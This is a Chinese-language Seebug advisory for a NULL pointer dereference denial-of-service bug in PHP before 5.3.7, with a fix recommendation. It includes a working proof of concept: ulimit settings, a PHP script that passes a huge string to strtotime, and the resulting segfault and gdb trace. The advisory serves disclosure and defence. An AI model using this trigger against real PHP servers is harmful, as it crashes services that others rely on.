PHP 5.3.7之前版本空指针引用拒绝服务漏洞

2011-08-22T00:00:00
ID SSV:20888
Type seebug
Reporter Root
Modified 2011-08-22T00:00:00

Description

Bugtraq ID: 49249

PHP是一款流行的编程语言。 php 5.3.6存在多个空指针应用错误,如果用户更改malloc大小,可导致空指针引用而使应用程序崩溃。 要演示这些缺陷,可使用OpenBSD中默认512MB的默认内存限制。我们可以分配类似510MB的大内存(剩余2MB),如果某些字符串超过2MB(如4MB),PHP尝试使用malloc/strlen等拷贝这个字符串,malloc就会返回空。之后程序会引发空指针引用或缓冲区溢出。

PHP < 5.3.7 厂商解决方案 PHP 5.3.7已经修复此漏洞,建议用户下载使用: http://www.php.net/

                                        
                                            
                                                127# ulimit -m 100000
127# ulimit -v 100000
127# cat /www/strtotime.php
&lt;?php
$strx=str_repeat(&quot;A&quot;,$argv[1]);
var_dump(strtotime($strx));
?&gt;127#
127#  /cxib/5371/build/bin/php /www/strtotime.php 33388888
Memory fault (core dumped)

127# gdb -q /cxib/5371/build/bin/php
(gdb) r /www/strtotime.php 33388888
Starting program: /cxib/5371/build/bin/php /www/strtotime.php 33388888

Program received signal SIGSEGV, Segmentation fault.
0x0806e8bd in add_error (s=0xbfbfcf90,
    error=0x83ea7d8 &quot;Double timezone specification&quot;)
    at /cxib/5371/ext/date/lib/parse_date.c:355
355             s-&gt;errors-&gt;error_messages[s-&gt;errors-&gt;error_count -
1].position = s-&gt;tok ? s-&gt;tok - s-&gt;str : 0;
(gdb) print s-&gt;errors-&gt;error_messages
$1 = (struct timelib_error_message *) 0x0
(gdb) print s-&gt;errors-&gt;error_count
$2 = 1835009